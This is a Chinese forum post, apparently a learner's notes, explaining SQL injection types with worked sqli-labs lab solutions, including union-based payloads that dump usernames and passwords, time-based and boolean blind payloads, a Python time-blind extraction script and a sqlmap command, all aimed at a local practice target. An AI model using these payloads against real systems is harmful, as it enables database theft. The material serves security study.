Web小门生之SQL注入(未完待续)

大连密封材料  金牌会员 | 2025-3-15 21:16:28 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 914|帖子 914|积分 2742

什么是SQL注入捏?

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意SQL代码,干扰应用步伐的数据库查询,从而实行未经授权的操作。这种攻击可能导致数据泄漏、数据窜改、甚至完全控制数据库服务器。
SQL注入原理

SQL注入的核心原理是应用步伐未对用户输入举行充分验证或转义,直接将用户输入拼接到SQL查询中。攻击者利用这一点,构造特别的输入,改变原有SQL语句的逻辑。
SQL注入范例

依据注入点范例分类

       数字范例的注入

       当输入参数是数字的时间,对应的SQL字段范例是数值型,可以称之为数字范例注入
       经典案例
       


 SQLI-LABS靶场

 输入id=1,即为数字型,利用小皮面板要记得利用PHP5.x版本
       字符串范例的注入

       当输入参数是字符串的时间,对应的SQL字段范例是字符型,可以称之为字符范例注入
       经典案例
       

     搜索型注入(未完待续....我在学习一下)

     一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,由于是搜索功能,每每是程        序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的体系中广泛的存在:

     其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从
      form表单的method="get"属性来区分是get照旧post。搜索型注入又称为文本框注入。
     判断搜索型注入的方法:
     1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
     2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
     3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相称于普通SQL注入的 and 1=1)看       返回的情况
     4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相称于普通SQL注入的 and 1=2)看       返回的情况
     5 根据两次的返回情况来判断是不是搜索型文本框注入了
    下面这几种语句都可以:
     'and 1=1 and '%'='
     %' and 1=1--'
     %' and 1=1 and '%'='
依据获取信息的方式分类

    联合查询注入     

     联合注入(Union-based SQL Injection)**是SQL注入的一种,利用UNION操作符将恶意查询结       果与原始查询效果合并,从而获取数据库中的额外信息。
    联合注入的基本原理

  UNION操作符用于合并两个或多个SELECT语句的效果集。联合注入的关键在于构造一个UNION    SELECT语句,使其能够返回攻击者所需的数据。
    联合注入的步调


  • 确定注入点:找到应用步伐中可能存在的SQL注入漏洞。
  • 确定列数:通过ORDER BY或UNION SELECT确定查询返回的列数。
  • 确定数据范例:确保UNION SELECT中的列与原始查询的列数据范例一致。
  • 构造恶意查询:利用UNION SELECT获取数据库信息,如表名、列名或敏感数据
    经典例题   
     sqli-labs第一关
     1.开始先判断数字型照旧字符型,如果?id=1和id=2-1相等,即为数字型,不消判断闭合方式
     如果?id=2和?id=2-1相等,即为字符型,需要判断闭合方式 
     2.order by 或者 group by判断列数     


   3.爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数     据是显示在页面的。
   ?id=-1'union select 1,2,3--+
  

    4.获取当前数据名和版本号,主要看数据名
   ?id=-1'union select 1,database(),version()--+ 
  

5.爆表,information_schema.tables表现该数据库下的tables表,点表现下一级。where背面是条件,group_concat()是将查询到效果连接起来。
   ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  

6. 然后,爆完table,接着爆column
   ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
  


7.末了,通过上述操作可以得到三个敏感字段就是username和password和id,接下来我们就要得到该字段对应的内容。
   ?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
  
       

基于时间的盲注

时间盲注是基于时间的耽误来举行判断的SQL注入技术。当实行某些SQL语句测试时,如果页面不会像布尔盲注那样有直观的变化,那么攻击者就可以在布尔盲注的基础上,联合if判断和sleep()函数(或其他能造成耽误的函数),通过观察时间耽误来推断数据库中的信息。这种技术利用了SQL数据库查询在处理过程中可能产生的时间耽误,为攻击者提供了获取敏感数据的途径。
利用场景

时间盲注通常用于以下场景:


  • 页面没有回显位置,联合注入无法利用。
  • 页面不显示数据库的报错信息,报错注入无法利用。
  • 无论成功照旧失败,页面只相应一种效果,布尔盲注无法利用。
利用步调

时间盲注的利用步调通常包括:

  • 判断注入点:通过构造特定的SQL语句并观察页面的相应时间,判断是否存在注入点。
  • 判断查询效果长度:利用MySQL的if()和sleep()函数,联合二分查找等方法,判断查询效果的长度。
  • 判断字符内容:从查询效果中截取字符,转换成ASCII码,并逐个判断字符的内容。通过构造包罗ascii(substr())和sleep()函数的SQL语句,观察页面的相应时间,从而推断出字符的ASCII码值。
  • 重复步调:依次猜解第二个、第三个……直到第n个字符,n表现返回效果的长度。
经典例题
sqli-labs第九关
这道题尝试了许多次,发现无论怎么闭合,都是显示You are in...
于是尝试时间盲注,运用sleep()函数
   ?id=1' and sleep(5)--+
  我利用了休眠5秒为了看的直观,平常1秒即可
  

 留意啦!!!
MySQL 的 IF 语句允许根据表达式的某个条件或值效果来实行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2。
   IF(expr, value1, value2)
  因此,我们利用 IF 语句联合 LENGTH() 函数对数据库名长度举行判断,如果推测精确则令相应时间长一些。 
   ?id=1' AND IF(LENGTH(database())<10,sleep(2),1)--+
  发现,真的慢了2秒,因此说明 数据库长度<10,通过二分法,发现数据库长度为8
然后再利用left函数测试数据库名的第一位是否是字符 a,注入之后相应很快说明数据库名第一位不是 a,就这样一个一个测出数据库第一位是S
   ?id=1' AND IF(LEFT((SELECT database()), 1)='s',sleep(1),1)--+
  

然后同理可得其他信息
但是照旧一样这样的手工方法会非常的费时费力,我们可以利用python写一个二分法查找的时间盲注脚本来方便注入:
我跑不出来,于是借用大佬的脚本SQL注入:sqli-labs靶场通关(1-37关)_sqlilabs靶场1–65过关-CSDN博客
   import requests
import time
 
url = "http://127.0.0.1/sqli-labs/Less-8/"
 
def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
            params = {"id": payload}
            start_time = time.time()  # 注入前的体系时间
            r = requests.get(url, params=params)
            end_time = time.time()  # 注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url) 
  背面的表名,列名,数据,都可以利用雷同的脚本注入出来,这里就不演示了 
或者,如果觉得贫苦,可以直接利用sqlmap
利用sqlmap举行时间盲注就非常简朴了,直接将url输入到sqlmap中即可
   sqlmap.py -u sqlmap -u  http://127.0.0.1/sqli-labs/Less-8/?id=1
  


bool盲注 

Bool盲注(Boolean-based Blind SQL Injection)是一种基于布尔逻辑判断的SQL注入攻击方式。由于开发者将报错信息屏蔽,攻击者无法直接看到SQL查询的错误信息,但可以通过观察网页的差别回显(如页面是否存在、返回的内容是否变化等)来判断注入的SQL语句是否实行成功。
利用过程


  • 判断是否为Bool盲注

    • 常用的发现Bool盲注的方法是在输入点背面添加and 1=1和and 1=2(该Payload应在猜疑是整型注入的情况下利用)。如果and 1=1返回正常页面,而and 1=2返回错误页面或差别的回显,则可以判断存在Bool盲注。

  • 构造Payload

    • 攻击者需要构造特别的SQL语句作为Payload,然后将其注入到应用步伐中。Payload通常包罗布尔逻辑判断语句(如=、>、<等)和SQL函数(如substr()、ascii()、length()等)。
    • 例如,要判断当前数据库名称的第一个字符的ASCII值是否大于113,可以构造Payload:and ascii(substr(database(),1,1))>113。

经典例题
sqli-labs第八关
先尝试传入?id=1,发现显示You are in...,并且,尝试闭合方式,发现')))无回显,不报错
这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试推测出数据

手工注入
利用函数我们可以通过不断的变更范围来观察页面的相应来不断判断,直到判断到末了可以确定到一个值,好比我们可以先利用 length函数 + 二分法来尝试一下:
通常先尝试1和10,然后不断缩小范围
   

  • ?id=1' and (select length(database())>1) and 1=1  --+ true

  • ?id=1' and (select length(database())>10) and 1=1  --+  flase
  

然后,通过页面的差别相应来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,(其实感觉,这些函数和时间盲注的函数差不多

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

大连密封材料

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表